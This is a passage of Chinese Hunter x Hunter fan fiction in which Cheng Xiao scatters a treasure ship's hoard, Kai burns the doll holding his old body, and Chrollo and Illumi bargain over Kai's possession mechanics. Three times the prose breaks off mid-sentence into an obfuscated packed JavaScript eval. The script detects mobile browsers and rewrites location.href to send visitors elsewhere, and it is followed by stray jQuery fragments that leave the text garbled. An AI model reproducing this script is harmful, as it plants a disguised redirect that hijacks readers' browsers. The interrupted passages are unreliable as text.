桀诺·揍敌客瞬间出现在他身边,老爷子平日眯着的眼睛此刻已完全睁开,里面是前所未有的冰冷杀意:“终极威胁确认。无需评估。清除目标,回收或销毁所有风险节点。” 根本不再需要伊尔迷的报告。也不再是“调查”或“回收”。 这一刻,所有排得上号的揍敌客成员,无论他们身在世界的哪个角落,正在执行什么任务,他们的专用通讯器上都强制弹出了一条血红色的、代表着最高优先级的灭绝令! 目标:程笑。 目标特征:(附视频截图及音频分析) 威胁等级:∞ (无限) 行动准则:不计一切代价,优先于所有任务,即刻歼灭目标并确保所有家族机密绝对安全。 伊尔迷的加密通讯器几乎在下一秒响起,屏幕上只有席巴发来的一个字,却带着千钧之力:来。 伊尔迷抬起眼,周身的气息已经变得如同绝对零度般冰寒。 很好。非常好。 程笑。 他成功地将自己从一个“麻烦”,变成了揍敌客家族立族以来,最需要被即刻、彻底、从物理到信息完全抹除的终极威胁。 于是,在幻影旅团这辆愤怒的战车全速启动之后,另一架为了生存而战的、更加精密、更加冷酷、更加高效的杀戮机器——揍敌客全家,也终于彻底出动。 程笑成功地将自己变成了全世界最危险的漩涡中心,同时吸引了黑暗世界中最强大的两股势力的全部怒火。 这场“寻宝游戏”,从一开始,就被他玩成了地狱中的地狱难度。 …………… 格雷塔,现二星级猎人。自从她那位神龙见首不见尾的、代号为“凯”的顶级雇主被宣告“死亡”后,她的人生就偏离了既定轨道。 她按照凯最后留下的、不知何时会生效的指示,在某一天烧掉了流星街当地的长老院——虽然执行过程中意外撞见了本应是她接头人的同事萨恩,但对方明显脑子被什么东西磕坏了,疯疯癫癫。格雷塔叹了口气,终究做不到见死不救,便将他一并拖走了。 之后,为了避风头和养活两个人,她凭借猎人执照和过去的情报功底,转行做了一名暗线记者,专门挖掘世界的黑暗面。 今天,她嗅到了一个足以轰动世界的大新闻。她无法理解视频里那个叫程笑的年轻人为何要如此作死,但她在他那种疯狂又肆意的笑容里,隐约感到了一股……说不清道不明的熟悉感。 想什么呢?她摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538304|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,将这不切实际的念头甩开。凯已经死了啊。 她乘着一艘不起眼的小艇,利用绝佳的潜伏技巧,几乎与漆黑的海面融为一体,遥遥窥视着风暴的中心。 而此刻的海面,堪称奇观。 以那艘灯火通明、载满了金灿灿宝物的船为中心,四面八方,乃至天空,都被围得水泄不通! 幻影旅团的飞艇散发着冰冷的杀意,揍敌客家族的私人飞行器如同悬停的死神,无数□□的船只更是像闻到血腥味的鲨鱼群,叫嚣着要将窃贼碎尸万段…… 所有势力,所有追兵,全都到了! 程笑独自站在船头,仿佛置身于风暴眼中唯一平静的点。他手中甚至不知从哪儿变出了一个高脚杯,面晃动着如血的液体(可能是果汁,但此刻看起来像酒)。对着四面八方那足以将航母编队都撕成碎片的恐怖阵仗——旅团飞艇的探照灯如巨眼,揍敌客飞行器幽浮如死神,□□的炮口密如蜂巢——微笑着,举杯致意。 “都来齐了嘛~那么…演出即刻开始!” 格雷塔在远处小艇上一懵,还没理解这话的意思—— 下一秒,“轰!!!” 一声巨响并非来自任何攻击,而是来自那艘宝船本身! 盛大的、璀璨的“彩带”仿佛凭空出现,猛地喷射向天空,然后在最高点哗啦啦地洒落,覆盖了整片海域! 格雷塔慌慌张张地举起相机,对准这疯狂的景象按下了快门。 闪光灯划过夜空。 照片定格下的,是一张盛大、金色、如同嘉年华般的疯狂夜晚。视觉的正中心,是程笑那张年轻帅气、盛满了少年得意和疯狂笑意的脸。 直到冰凉的、坚硬的“碎屑”砸落在她的头发和脸上,格雷塔才后知后觉地发现—— 这漫天挥洒、覆盖了海面的,根本不是什么彩带! 一连串沉闷的爆破声从宝船内部炸响!甲板上的宝箱如同被巨兽撕裂,棺盖般掀飞!刹那间,一场由物质本身构成的、毁灭性的奢华喷发,照亮了夜空! 熔化的金液像愤怒的太阳泪滴泼洒,冷却成扭曲的金丝;珍珠链崩断,如同银河倾泻;无数宝石像被炸飞的糖果,折射着致命的光芒;古老的画卷被撕成碎片,如同暴风雪中的蝴蝶,在燃烧的金钱雨中狂舞。 格雷塔在远处的小艇上,瞳孔因震惊而收缩,职业本能让她死死按着快门。冰凉的、坚硬的“碎屑”砸在她脸上——那是钱,是历史,是权力,此刻却像最廉价的垃圾一样从天而降。她甚至能闻到海风中那股奇异的气味——檀木、墨水、金属烧焦后混合在一起的、象征着毁灭的奢华。 当海面上的所有人从这极致的暴殄天物中反应过来,发出震耳欲聋的咆哮时—— 船头上的程笑,将杯中液体一饮而尽,随即松手,酒杯坠入漆黑的海面。而他本人,早已如同鬼魅般,消失在了一片璀璨的、正在坠落的毁灭之中。 这个疯子!他根本就没想带走这些宝藏! 他居然……把一切都毁了?!就在所有原主人面前!用最盛大、最嘲讽的方式! 当海面上的所有人从这极度震惊和暴殄天物的愤怒中反应过来,发出震耳欲聋的咆哮和怒吼时—— 船头上的程笑,早已如同鬼魅一般,不知所踪。 只留下这满海的狼藉和一群被戏耍到极点的、暴怒的顶尖高手。 格雷塔的心脏还在狂跳,她看着相机里那张疯狂又绚丽的照片,喃喃自语: “不管了……反正这绝对是明天的头版。” 她再次按下了快门,记录下这地狱般的盛景,和那群顶级强者们前所未有的、吃瘪般的愤怒脸孔。 26.与过去告别 枯枯戮山。 前所未有的寂静笼罩了这座杀手家族的巢穴。所有能喘气的揍敌客成员都已倾巢而出,去追捕那个胆敢挑衅家族尊严的狂徒。这座平日里充斥着无形压力和肃杀之气的山,第一次迎来了如此彻底的空旷与死寂。 “吱呀——” 一扇沉重的、属于基裘夫人更衣室的门,被轻轻推开。 程笑(由凯暂时主导身体)踏入了这个房间,瞬间被眼前的景象攫住了目光——无数具等身比例、制作极其精美、穿着各式华服的换装人偶,如同沉默的卫兵,整齐地排列在昏暗的光线中。 “蛙趣……”程笑在意识里发出由衷的惊叹,“个顶个的好看呐!基裘品味真不错!” 他刚刚从千里之外那场盛大而疯狂的“演出”中,通过 「赊账」能力进行了一次超远距离的“存在感归零”,此刻身体和念力都处于极度透支的状态,控制权完全交给了凯。 “嗯。”凯的声音响起,平静无波。他的目光如同最精密的扫描仪,快速扫过那些美丽却空洞的脸庞,最终,精准地定格在了一具人偶身上。 那具人偶有着一头利落的短发,面容俊美却毫无生气,穿着精致繁复的礼服,被摆成一个优雅却僵硬的姿势。 “霍哦!”程笑透过同一双眼睛,还是不可避免地被惊艳到了,“没想到你原本这么帅啊?怪不得伊尔迷那小子算盘打得噼啪响,非要你当‘妻子’……这谁顶得住啊……” “别贫了。”凯轻轻地叹了口气,走上前,小心翼翼地将那个“自己”从架子上抱了下来。他的动作很轻,仿佛在对待一件易碎的珍宝,又像是在进行一次沉重的告别。 他开始仔细地、一寸一寸地检查人偶的头部,寻找着那颗据说封存了他过往一切的“念钉”。 “谢谢。”凯冷不丁地、轻声说了一句。 “啊?”程笑一愣。 “谢谢你。”凯重复道,声音低沉而清晰,“如果不是你……用那种方式引走了所有的揍敌客,我不可能如此顺利地回到这里。” “嗨~那不就是……”程笑在意识海里有点不好意思地挠头,“猎人考试最后一场,我答应过你的嘛——‘你会和我回来’。我程笑,向来说到做到~” “况且——”他实在不习惯这种肉麻的感谢环节,试图用惯有的插科打诨驱散这突如其来的正经气氛,“肉麻死了!我鸡皮疙瘩掉一地了!” 随后他迅速把话题拽回现实,语气里带上一丝紧迫感:“道谢等会儿再说!咱俩现在可是在贼窝里!刚才那场烟花秀挣来的‘存在感’,还完之前欠的债就没剩多少了!现在咱这‘低存在感’状态就像快没电的灯泡,指不定啥时候就熄火了!得赶紧办正事,不然等‘电量’耗尽,咱俩就得跟这些人偶大眼瞪小眼了!快找快找!” 凯没有再说话。他只是沉默地、反复地检查了三四遍,指尖抚过人偶冰冷的头皮、颈后、乃至耳后每一个可能隐藏的缝隙。 ……没有。 哪里都找不到那颗钉子的踪迹。 “……愈合了?”程笑小心翼翼地开了个不合时宜的玩笑,试图打破这沉重的沉默。 “可能。”凯垂下了眼眸,长长的睫毛在眼下投出一小片阴影,“刺入太久了……或许,它早就和我的骨骼、我的血肉、我的一切……长在一起了。” “那……”程笑也不太懂怎么安慰人,“那我们把这‘壳子’带出去?找个顶厉害的除念师或者医生看看?” “不用了。” 凯的声音忽然变得无比平静,甚至带上了一丝释然。他轻轻地将那具代表着他过去屈辱与空洞的躯壳——那具精美的、被当作玩偶的“自己”——放回了原地。 然后,他掏出了一个普通的金属打火机。 “咔哒。” 一簇小小的火苗,在寂静的房间里跳跃起来。 “等等?!你要干嘛?!”程笑在意识里惊呼。 凯凝视着那跳跃的火光,又看向那具无比熟悉又无比陌生的脸。 “这个‘我’,不是我。”他的声音很轻,却带着一种斩钉截铁的决绝,“‘我’早该……入土为安了。” 说完,他松开了手。 打火机划出一道微弱的弧线,落在了人偶华美却易燃的裙摆上。 “轰——!” 火焰瞬间窜起,贪婪地吞噬着丝绸、蕾丝、棉花与木头,迅速将那具俊美的容颜卷入其中,扭曲,焦黑,化为灰烬。 凯就那样静静地站着,看着“自己”在火焰中燃烧,橘红色的火光在他漆黑的瞳孔中跳动,映照不出任何情绪。 当夜,枯枯戮山余下的寥寥数名仆人,他们的惊呼声、慌乱的脚步声、运水救火的嘈杂声……响彻了一夜。 而那场始于更衣室的大火,仿佛烧掉的不仅仅是一具人偶。 它烧掉了一个被强行赋予的身份,一段被囚禁的记忆,一个早已该死的过去。 火光冲天,映照着山下遥远海面上那场尚未平息的、因他而起的混乱与追逐。 真正的凯,于灰烬与混乱之中,悄无声息地完成了他的告别与重生。 —————— 海面上,那场由黄金与宝石构成的“盛大烟花”所带来的震惊,迅速被一种更原始的、被戏耍后的暴怒所取代。 以幻影旅团和揍敌客为首,各方势力几乎将那艘已经破败不堪、价值被掏空的宝船翻了个底朝天!每一块木板都被撬开,每一个角落都被念能力探查了无数遍。 库洛洛·鲁西鲁和伊尔迷·揍敌客,这两位黑暗世界的巨头,最初在搜寻时都保持着绝对的警惕。他们不仅是在找程笑,更在提防着对方。 库洛洛的思维:揍敌客全员出动,目标明确。伊尔迷出现在这里,证明程笑也触犯了揍敌客的核心利益。必须防备揍敌客抢先得手,或利用这次混乱对旅团不利。 伊尔迷的思维:幻影旅团是最大的变数。他们的目标是宝物,还是也发现了凯的特殊价值?需要确保凯的“回收”过程不受干扰,必要时清除障碍。 他们都清楚对方收到了“战书”,也明白对方绝不会善罢甘休。 然而,没有。什么都没有。 那个叫程笑的疯子,就像他凭空出现一样,又一次凭空消失了。没有留下任何传送的念力残渣,没有留下任何线索,仿佛他从来就只是众人集体幻觉中的一个幻影。 徒劳的搜索持续着,直到所有人的耐心和理智都被消耗殆尽。 终于,一个脾气最为火爆的□□头目,在极度的挫败和愤怒驱使下,彻底失去了理智。 “妈的!耍我们!都去死吧!” 他咆哮着,将满腔的怒火倾泻而出——数捆炸药被他的手下扔向了那艘早已象征着耻辱的空船! 轰隆隆——!!! 一声比之前宝物爆炸更沉闷、更绝望的巨响传来,冲天的火光再次照亮海面,那艘承载了无数贪婪、阴谋和最终闹剧的宝船,在一众顶尖高手面前,缓缓断裂、沉没,最终化作海面上的一堆焦黑碎片和漂浮的油污。 一场兴师动众、几乎集结了黑暗世界所有顶尖力量的围捕…… 最终,竟以这样一个毫无收获、甚至有些滑稽的炸船泄愤的方式,仓促而狼狈地落下了帷幕。 海面上,库洛洛·鲁西鲁的面色平静,但那双深不见底的黑眸中正在飞速重构着整个事件。 他抬手,示意正在暴躁搜寻的芬克斯过来。 “芬克斯,”库洛洛的声音听不出情绪,“你负责的区域,没有任何异常?没有任何人进出?” “没有!团长!”芬克斯一脸憋屈和恼火,用力挠了挠头,“老子把‘圆’都撑到最大了!连只海鸟飞过的动静都一清二楚!那小子根本就不是‘溜’出去的!他他妈就像是……像是被橡皮擦掉了一样!一点念力残留都没有!邪门得很!” 库洛洛沉默地点了点头,挥手让芬克斯继续去搜查。他心中的一个猜测得到了证实。 不是普通的隐身或高速移动。是某种更根本的、涉及“存在”本身概念的能力。 库洛洛意识到,单靠旅团的力量,恐怕难以捕捉这个能力诡异的对手。伊尔迷也得出了类似的结论:这个“疯子”的隐匿手段超出了常规应对范围,效率太低。 冲天的火光映照着两张同样冰冷但已不再将对方视为首要障碍的脸。 共同的挫败感和明确的、无冲突的目标,成了合作的基础。 库洛洛率先打破了沉默,他看向伊尔迷,语气是一种剥离了情绪的客观分析:“芬克斯的‘圆’没有捕捉到任何痕迹。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548740|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是速度或隐身,是更根本的认知干涉。” 这是一次试探性的信息共享,也是合作的橄榄枝。 伊尔迷的猫眼转动,立刻接上了这份“理性”:“和之前在宝库的情况一致。优先级很高。” 他认可了库洛洛的判断,并补充了关键证据。 两位顶尖的智者迅速交换着信息,暂时将彼此的身份抛诸脑后。 库洛洛继续推理,眉头微蹙,这是他极少露出的、带有探究困惑的神情:“现在唯一不确定的是……他制造这场愚蠢而盛大的混乱,究竟是因为他本身就是个无可救药的疯子……” 他顿了顿,看向那正在沉没的船只残骸。 “……还是说,这令人费解的、毫无收益的疯狂行为本身,就是他那种诡异能力必须支付的……‘代价’?” 伊尔迷几乎没有思考,立刻基于他对“价值”的理解给出了答案:“毫无意义的挥霍。不符合效率原则。是疯子的可能性,更高。” 基于这份快速达成共识的分析,以及彼此都绝不可能放弃追捕的决心,两人之间一种冰冷的、基于绝对理性和利益划分的临时合作,瞬间达成。 库洛洛看向伊尔迷,清晰地下达了划分猎物的宣言,不容置疑,如同在陈述一个即将发生的事实: “程笑的能力和身体,归我。他的价值在于‘未知’本身。” 伊尔迷几乎在同一时刻回应,表达了他唯一且绝对的目标,同样没有任何商量余地: “凯的灵魂和记忆,归我。那是揍敌客的财产。” 没有握手,没有协议。这场“畸形的合作”就此达成。它建立在最纯粹的功利主义之上:我一个人搞不定这个诡异的敌人,你的智慧/力量对我有用,且我们的最终目标不冲突,所以暂时联手。目标达成后,按约定“分赃”,合作关系自动终止。 下一刻,两人甚至没有再多看对方一眼,仿佛之前的对话从未发生。库洛洛转身走向旅团的飞艇,伊尔迷的身影则无声无息地沉入阴影。 他们从互相提防的竞争者,变成了心照不宣的临时“猎友”。这种关系脆弱而冰冷,却因其绝对的利益导向而显得无比稳固和高效。 追捕并未结束,而是进入了下一个全新的、更加危险的阶段。 但今晚,所有的追捕者,都成了那个疯子导演的盛大戏剧里,最可笑的背景板。 而真正的导演,早已带着他唯一的观众和战友,于另一处舞台,悄然拉开了新的序幕。 在遥远的海平线上,一艘不起眼的小艇随波逐流。 西索·魔术师正舒舒服服地躺在船上,身上简单的包扎止住了血,但激烈的战斗带来的疲惫和兴奋感仍未完全褪去。 他手里拿着一个高倍望远镜,正津津有味地欣赏着远方那场由他“心爱的苹果”导演的盛大闹剧。 他看到宝物被漫天挥洒时,发出了低低的、愉悦的呻吟~? 他看到库洛洛和伊尔迷那两张吃瘪的臭脸时,快乐地扭动了腰肢~? 他看到那群人无能狂怒地炸船时,更是忍不住仰头发出了压抑不住的低笑声~? “啊哼哼哼……哈哈哈哈?!” 真是太精彩了! 比任何一场歌剧都要迷人! 他放下望远镜,舔了舔嘴唇,脸上是发现绝世珍宝般的狂喜和无限的期待。 “真是……太棒了~”他喃喃自语,金色的瞳孔里闪烁着危险而兴奋的光芒。 库洛洛这颗大苹果固然美味,但现在,一个更新鲜、更不可预测、更能带来“惊喜”的“惊喜盒” 出现了。 他并没有选择立刻加入那场混乱的搜捕。那太无趣了,就像一群饿狗在抢一块早已没有肉的骨头。 西索的乐趣在于培育和收割。 他要看着这颗“惊喜盒”继续成长,继续搅动风云,散发出更诱人的香气……然后,在他最成熟、最美味的时候,再…… “唔?”光是想象一下那个场景,他就兴奋得微微战栗。 他最后看了一眼那团燃烧沉没的船骸和那群气急败坏的人,意犹未尽地启动了小艇,悠闲地驶向了与所有人相反的方向。 他不着急。他有的是时间。而这场刚刚拉开序幕的、追捕“惊喜盒”的游戏,注定会比以往任何一次都更加……愉快~? 27.合作愉快 世界的另一个角落,空气湿热,茂密的树冠几乎隔绝了所有阳光。 程笑的身体在凯的精准操控下,如同最灵敏的猎豹,无声而迅捷地在盘根错节的密林中穿行。 “……根据揍敌客的搜寻模式分析,我有七成把握可以规避。”凯的声音在意识深处响起,冷静中透着一丝凝重,“但幻影旅团的行事逻辑……更依赖直觉与无法预测的野路子。这部分变量,超出了我的计算范畴。” 程笑的意识瘫在“脑海”里,闻言却得意地笑了起来 “野路子?哈!”他的意念带着一种看戏的欢快,“库洛洛现在可是标准意义上的‘孤家寡人’了——手下跑光,念能力全无,比刚出生的婴儿还干净。” 凯的脚步几不可查地顿了一下。即便是他,也被这个信息的冲击力撼动了。“……什么?” “是酷拉皮卡——就那个锁链杀手——送他的‘大礼’。”程笑的声音带着一丝幸灾乐祸的赞叹,“具体怎么操作的堪称神乎其技,总之结果就是:蜘蛛散了,团长废了。他现在别说追我们,自己能活着回到流星街都算他命大。” “……难以置信。”凯迅速消化着这个情报,逻辑核心飞速运转,“这意味着旅团的整体威胁等级将急剧下降……但仇恨值可能更高,且行为会更不可控。” “所以啦,”程笑总结道,“眼下最要紧的,还是先搞定你那些‘前家属’。蜘蛛的麻烦,可以暂时从清单上划掉了。” “……明白了。”凯的声音恢复了绝对的平静,但其中多了一丝如释重负的确定感。“当前最高优先级不变:寻找安全屋,恢复状态,应对揍敌客。” 他的身影再次加速,如同真正的幽灵,彻底融入幽暗的丛林深处。 就在两人于密林中,将幻影旅团的威胁等级心安理得地调低一档的同时—— 镜头陡然切换。 某处揍敌客家族名下、不对外公开的安全屋内。室内温度恒湿恒温,装潢是极简的冷色调,每一件家具都价格不菲且绝不张扬,透着一种冰冷的、高效的奢华。 库洛洛·鲁西鲁正身处其间,穿着一身质地精良的深灰色休闲居家服,前所未有地放松地陷在柔软的皮质沙发里。这或许是他前半生所能享受到的最优越、最安稳的物质条件。他手中端着一杯热气氤氲的红茶,手边放着一本翻开的书籍,像一个暂时休憩的年轻学者。 然而,只要看向他那双深不见底的黑眸,便会瞬间驱散所有关于“宁静”的错觉。那里面没有失去力量的惶恐,只有一片冰冷的、正在重新积蓄风暴的深海。 “咔哒。” 一声轻微的开门声响起。伊尔迷·揍敌客无声无息地走了进来,如同回自己房间一样自然。他漆黑的眼睛先是精准地扫过房间各个角落,确认安防系统无误,然后才将目光落在库洛洛身上。 他歪了歪头,没有任何寒暄,直接走到对面的沙发坐下,姿态从容地翘起一条腿——毕竟,他才是这间安全屋实际意义上的主人。 “…说说吧。” 他开口,声音平铺直叙,却带着不容置疑的压力,“你所谓的,关于凯的情报。” 甚至不等库洛洛回应,伊尔迷便继续用那毫无波澜的语调补充道,仿佛在陈述一个既定事实: “…你的仇家多到令人困扰。为此,我不得不额外安排了三批管家,分批次日夜守在这附近——” 他微微前倾,那双空洞的猫眼锁定库洛洛,话语里的威胁如同冰冷的刀锋,毫不掩饰地架上了对方的脖颈: “——如果你的信息,不足以抵消这些额外的‘安保成本’。你会知道下场的。” 面对这赤裸裸的威胁,库洛洛非但没有动怒,反而微微勾起了唇角。他额头上束缚的绷带已经解下,如果忽略那个象征着约束与惩罚的十字刻印,他此刻看起来完全是一个无害的、甚至带着几分温顺青年感的形象。 当然,上一个被这副表象所迷惑的人,如今已经失去了所有的念能力。 库洛洛将手中的红茶轻轻放回碟中,发出清脆的磕碰声。他抬起眼,迎上伊尔迷毫无温度的目光,笑容里带着一种近乎亲昵的、分享秘密般的意味: “当然,伊尔迷。我保证,这个消息……绝对值回票价。” 库洛洛微微向后靠进沙发,双手指尖相对,优雅地撑在下颌处。他做了一个微微仰头看向伊尔迷的动作,这个姿态由他做来,不带丝毫女气,反而有一种将自身置于审视者位置的、冷静到近乎挑衅的意味。 “你对现在的凯,之所以感到束手无策,”他开口,声音平稳得像在陈述一个几何定理,“根源在于,你掌握的信息已经过时了。你面对的,是一个你不再了解的‘资产’。” 他清晰地指出伊尔迷困境的核心:“换句话说,即使你现在就找到程笑,你又能做什么?杀了他?你舍不得。那具身体是凯目前唯一的‘容器’。你只能像对待一件易碎的古董一样,将他囚禁起来,严加看管——但这无疑是最低效、且后患无穷的方案。” 库洛洛的话语如同手术刀,精准地剖开伊尔迷看似强势下的无力感。他看着伊尔迷那双依旧空洞、但似乎更加幽深的猫眼,抛出了最关键的反问: “但是,如果你知道了凯的‘附身规律’呢?” 话语在此恰到好处地停顿。库洛洛并没有立刻抛出底牌,他像一个顶级的拍卖师,正在为最后的珍品蓄积所有的期待感。他成功地让“信息”本身,成为了伊尔迷此刻最渴望的东西。 “信息。”库洛洛再次强调这个词,他的指尖在沙发扶手上轻轻一点,动作很轻,却仿佛敲在了无声的谈判桌上,“关于他如何选择宿主,是否存在限制,能否被强制剥离……这些,构成了你目前最大的‘信息差’。” 他微微前倾,那双深不见底的黑眸中,闪烁着智者在分享唯一真理时的、冰冷而自信的光芒。 “而我,可以为你补全它。” 伊尔迷那双漆黑的猫眼几不可查地眯起了一丝极细微的弧度,如同暗处的猫科动物评估着眼前看似无害、却主动露出脖颈的猎物。 “谈条件?”他的声音平直,却带着冰冷的审视,“前提是,你需先证明这份‘情报’的纯度。我虽不认为你会愚蠢到直接提供‘错误’信息,但你当前的处境,无法排除你会用大量‘冗杂’的真相来包裹核心,以此换取不必要的喘息时间。” 库洛洛闻言,唇角极淡地一勾。这场合作本就构筑于流沙之上,他等的就是对方索要“诚意”。他需要的,正是这样一个展示“筹码”的契机。 于是,他不再迂回,用一种近乎“坦诚”的姿态,轻轻吐出一个名字: “派克诺妲。” 他清晰地补充道,语气坦然得像在展示一件珍藏的利器:“我的团员。她的能力是通过接触读取并抽取对象的记忆。在友客鑫之前,我们曾成功读取过凯的记忆碎片。” 他甚至向前微微倾身,做了一个“请便”的手势,将探查的主动权看似完全交了出去:“关于这一点——她的能力真实性,以及我们曾成功读取的事实——你大可以动用揍敌客的一切手段去验证。” 他姿态放松地靠回沙发,因为这本身就是无可辩驳的事实。此刻的“门户大开”,本身就是一种极致的自信与挑衅。 伊尔迷定定地凝视着对方。绝对的松弛,甚至带着一丝慵懒。即便是幻影旅团的首脑,在失去念力、身处敌营的绝对劣势下,还能如此毫无防备地邀请探查……这已远超合作的“诚意”,更像是一种无声的宣告:我手中的底牌,足以让我在任何情况下都立于不败之地。 评估在一瞬间完成。伊尔迷极其轻微地、几不可见地点了一下头。这是一个允许继续的信号,也意味着,库洛洛这番大胆的“展示”,已经通过了第一轮关于“价值”的苛刻评估。 谈判桌上的天平,在一种危险的默契中,开始了微妙的倾斜。 见时机成熟,库洛洛顺势抛出了他的条件: “帮我寻找除念师。” 很合理的诉求,完全符合他当下最核心的需求。伊尔迷瞬间洞悉了其意图,冷淡回应: “可以。但你需要先展示信息的价值。你给出的情报价值几何,将直接决定我投入资源的‘尽力程度’。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559531|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>库洛洛了然一笑。他当然清楚对方绝非善类,若自己将底牌和盘托出,下一秒便可能被弃如敝履。他斟酌着用词,谨慎开口: “在他的记忆碎片里……最初的感知是泥土,随后是天空。据此推测,他的意识最初寄生在土壤中的虫豸,而后转移到了飞鸟体内。” 他用指尖蘸了点茶水,在桌面轻轻一点,强调关键: “而实现转移的契机,是捕食关系。” 伊尔迷向后靠进沙发,眼神淡漠地扫过桌面水渍,无声地传递着质疑:仅此而已? 库洛洛对他的反应不以为意,轻笑一声:“别急,推论才刚刚开始……我认为,当宿主死亡时,他的意识会优先附着在距离最近、且正吞噬或接触宿主遗体的生物脑中。” “很主观的推测。”伊尔迷评价道,语气中不带波澜,“缺乏实证,可信度存疑。” 库洛洛一摊手,摆出一副无可奈何却又暗藏机锋的姿态: “这份能力源于你们揍敌客的秘密。若我真能进行系统性实验来验证,恐怕此刻你首要的目标,就不是程笑,而是我了。” 伊尔迷沉默了片刻。确实。如果库洛洛·鲁西鲁真的触及了家族关于“亚路嘉”的核心机密,那么自己的最高优先级将立刻变更为不计代价的灭口。对方此刻能坐在这里谈判,本身反而是一种反证。 “所以,” 库洛洛捕捉到伊尔迷那微不可察的停顿,知道自己大胆的推测已然命中了要害。他不再掩饰,终于亮出了精心准备的、也是最具诱惑力的底牌。 “你们家族掌握着这种近乎‘重生’的方法,却迟迟没有进行系统性验证……” 他语速放缓,每个字都像精心打磨过的棋子,落在寂静的空气里,“无非是两个原因:要么是操作极其困难,代价高昂;要么,就是其本身蕴含着不可控的巨大风险。” 他微微歪头,脸上浮现出一种介于天真与狡黠之间的神情,仿佛在提出一个绝妙的主意: “而我,” 他轻轻吐出这个词,声音里带着一种将自己置于天平之上的疯狂与冷静,“不就正好是那个……最理想的‘人选’吗?” “一个失去了念能力、价值亟待重估的前幻影旅团团长。一个足够强大(至少在经验上)足以承受风险的容器。一个……你们迫切想要验证其理论,却又绝不舍得用在‘自家资产’身上的,完美的实验对象。” 话音落下的瞬间—— 伊尔迷那双总是空洞无物的漆黑猫眼,瞳孔难以抑制地、剧烈地收缩了一下。 库洛洛·鲁西鲁,不仅是在提供情报。他是在提议一场交易,一场以他自身为赌注,将揍敌客家族的秘密、伊尔迷的欲望与他自己的未来,彻底捆绑在一起的豪赌。 ………… 伊尔迷没有给出任何明确的答复。他只是用那双深不见底的猫眼再次审视了库洛洛片刻,仿佛要将他最后的提议也一并刻入评估体系,随后便如同出现时一样,无声无息地离开了房间。 空气中似乎还残留着一丝冰冷的念压,但库洛洛的唇角却勾起了一抹真正愉悦的弧度。 果然……是个不得了的秘密呢。 他心情颇佳地想道。这种既能为自己套上一层宝贵的“护身符”,又能反向窥探揍敌客家族核心秘密的机会,他当然求之不得。至于其中蕴含的风险?越是贵重的宝藏,身旁盘踞的危险便越是致命。不付出相应代价就能到手的,往往只是诱人上钩的空箱子。 他优雅地轻晃着杯中残余的红茶,看着那琥珀色的液体在杯壁上留下转瞬即逝的痕迹。对于揍敌客这种追求绝对掌控、倾向于万无一失的保守家族而言,这种带着未知风险的“果实”,即便是亲手送到了他们嘴边,他们也未必敢轻易咽下。 他们的谨慎,成了我的机会。 这种需要冒险精神才能品尝的甜美果实…… 还是交由天生就在刀尖上舞蹈的蜘蛛来享用吧。 库洛洛将杯中最后的红茶一饮而尽,动作从容不迫。那温热的液体滑入喉咙,仿佛也带走了最后一丝不确定性。一场新的、更加危险的游戏,已经在他心中拉开了序幕。 28.大变活人~ 枯枯戮山,家主议事厅。空气凝滞如铁。 “哦?”席巴·揍敌客雄浑的声音打破寂静,他伟岸的身躯稳坐于主位,目光如炬,“他自愿充当这个‘风险’的载体?” 这句话与其说是疑问,不如说是一把衡量价值的尺子。 “是的,父亲。”伊尔迷站立着,面无表情,但一种发现高效工具般的冰冷愉悦,在他空洞的眼底一闪而过。“一个无需家族承担风险,就能验证‘附身规律’的工具。” 摆在明面上的交易已经十分明朗了———库洛洛提供“验证附身规律”的服务,揍敌客提供“接触秘密”的机会。 席巴粗壮的手指敲击着扶手,发出沉闷的声响,如同最终拍板的锤音。“……前提是,必须确保万无一失。不能有任何后果牵连到揍敌客。” “请您放心。”伊尔迷的语气平稳得没有一丝波澜,“而且,库洛洛·鲁西鲁,已经支付了‘定金’。” 他略微停顿,说出的话却如同在平静湖面投下了一块巨石: “他提供的关于凯‘附身需通过捕食’的推测本身,反向证明了最关键的一点:凯的附身是被动、随机的,他本人毫无掌控力。” 席巴的目光骤然锐利起来。他立刻明白了这其中的巨大价值:那个曾让家族严阵以待的“幽灵”威胁,其根基已然崩塌。 伊尔迷的眼前仿佛再次浮现出猎人考试时,凯那孤注一掷的威胁姿态。他微微眯起了眼。 ……原来如此。一场精彩的欺诈。 这一刻,他甚至觉得,自己当年意外将凯“格式化”的决定,在某种意义上,是一种歪打正着的“正确”。 毕竟,对于过于聪明的头脑,空白,才是最稳定的状态。 库洛洛自以为用来换取信任的“筹码”,在揍敌客的逻辑里,早已变成了一份揭示真相的“额外赠品”。这份“赠品”的价值,甚至远超库洛洛本身提出的交易。 